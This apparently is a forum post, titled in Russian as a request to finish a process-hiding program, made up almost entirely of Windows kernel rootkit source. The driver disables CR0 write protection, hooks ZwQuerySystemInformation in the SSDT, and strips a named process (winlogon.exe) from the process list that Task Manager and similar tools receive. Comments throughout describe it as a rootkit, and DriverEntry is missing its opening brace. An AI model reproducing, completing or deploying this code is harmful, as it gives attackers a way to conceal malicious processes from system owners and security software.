Доделать программу (Скрытие процессов)

!INCLUDE $(NTMAKEENV)\makefile.def
 
Sources
TARGETNAME=MyDriver
TARGETTYPE=DRIVER
TARGETPATH=Bin
INCLUDES=..\..\Includes
SOURCES=Main.c

#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
#include "ZwQuerySystemInformation.c" // ZwQuerySystemInformation.c contains the new hooking function.
 
// The Service Description Table (SSDT)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PointerServiceDescriptorTableEntry;
 
// Import KeServiceDescriptorTable from ntoskrnl.exe.
__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;
 
// SYSTEMSERVICE returns the address of the Nt* function.
#define SYSTEMSERVICE(Function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)Function+1)]
 
void HookFunctions( void )
{
// Save the original ZwQuerySystemInformation so we can restore it later when unhooking.
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
 
// ABOUT WRITE PROTECTION: Write Protection presents a significant problem to your rootkit if you want to filter the responses returned from certain system calls using call hooking. If an attempt is made to write to a read-only portion of memory, such as the SSDT, a Blue Screen of Death (BSoD) will occur.
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
// Replace the ZwQuerySystemInformation function in the System Service Dispatch Table (SSDT) with our new hook function.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = NewZwQuerySystemInformation;
 
// From now on, when any process on the system (like the Task Manager) issues a System Call for the process list – the Rootkit’s NewZwQueryInformation routine will be called instead of the kernel’s ZwQuerySystemInformation function.
 
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Hooked!\n");
}
 
void UnHookFunctions( void )
{
// Disable the Memory Write Protection so we can access the read-only protected System Service Dispatch Table (SSDT).
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
 
// Unhook and restore the original ZwQuerySystemInformation.
(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
 
// Enable the Memory Write Protection again.
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DbgPrint("Unhooked!\n");
}
 
// Unload Function
NTSTATUS UnloadFunction(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unloading Driver...\n");
 
UnHookFunctions();
 
DbgPrint("Driver Unloaded!\n");
 
return STATUS_SUCCESS;
}
 
// During execution of the Rootkit module’s DriverEntry routine, the Rootkit modifies the System Service Dispatch Table by replacing the kernel’s ZwQuerySystemInformation with the Rootkit’s NewZwQuerySystemInformation function.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
DbgPrint("Loading Driver...\n");
 
// Initialize the pointer to the unload function. (If we do not set this pointer, then the driver can be loaded but never unloaded.)
DriverObject->DriverUnload = UnloadFunction;
 
HookFunctions();
 
DbgPrint("Driver Loaded!\n");
 
return STATUS_SUCCESS;
}

#include <ntddk.h> // Always include this file. Ntddk.h is a header you need to write drivers.
 
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
};
 
// ZwQuerySystemInformation API
// • A function implemented in the kernel that constructs a list of processes currently running on the system and returns the list to the caller.
// • A user space application (such as the Windows Task Manager) cannot call this function directly because it exists only in the Kernel’s address space.
 
// Import the ZwQuerySystemInformation API.
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
 
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // A pointer to the original ZwQuerySystemInformation function
 
// The Rootkit module implements its own version of the ZwQuerySystemInformation routine named “NewZwQuerySystemInformation”.
NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
// • The original function returns the real list of processes back to the hook function. The hook function then iterates through the returned list and removes the "winlogon.exe" entry. (or the process you have specified)
// • The hook function then returns the modified list back to the original caller that invoked the system call.
 
NTSTATUS NtStatus;
 
// ANSI To Unicode
ANSI_STRING Process = {0};
UNICODE_STRING UnicodeProcess = {0};
 
RtlInitAnsiString(&Process, "winlogon.exe"); // This is the name of the process that will be hidden.
RtlAnsiStringToUnicodeString(&UnicodeProcess, &Process, TRUE);
 
// Call the original function.
NtStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 
// Check if the call to the original function was successful.
if(NT_SUCCESS(NtStatus))
{
if(SystemInformationClass == 5) // 5 = Processes (It is possible to hide drivers and handles too)
{
struct _SYSTEM_PROCESSES *CurrProc = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *PrevProc = NULL;
 
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
while(CurrProc)
{
// Check to see if this is a process that we want to hide.
if (RtlEqualUnicodeString(&UnicodeProcess, &CurrProc->ProcessName, 1))
{
// I don't know how to explain the following code without pictures.
if(PrevProc)
{
if(CurrProc->NextEntryDelta)
{
PrevProc->NextEntryDelta += CurrProc->NextEntryDelta;
}
else
{
PrevProc->NextEntryDelta = 0;
}
}
else
{
if(CurrProc->NextEntryDelta)
{
(char *)SystemInformation += CurrProc->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else
{
CurrProc = NULL;
break;
}
}
if(CurrProc != NULL)
{
PrevProc = CurrProc;
if(CurrProc->NextEntryDelta)((char *)CurrProc += CurrProc->NextEntryDelta);
else CurrProc = NULL;
}
}
}
}
return NtStatus; // Return the modified ZwQuerySystemInformation.
}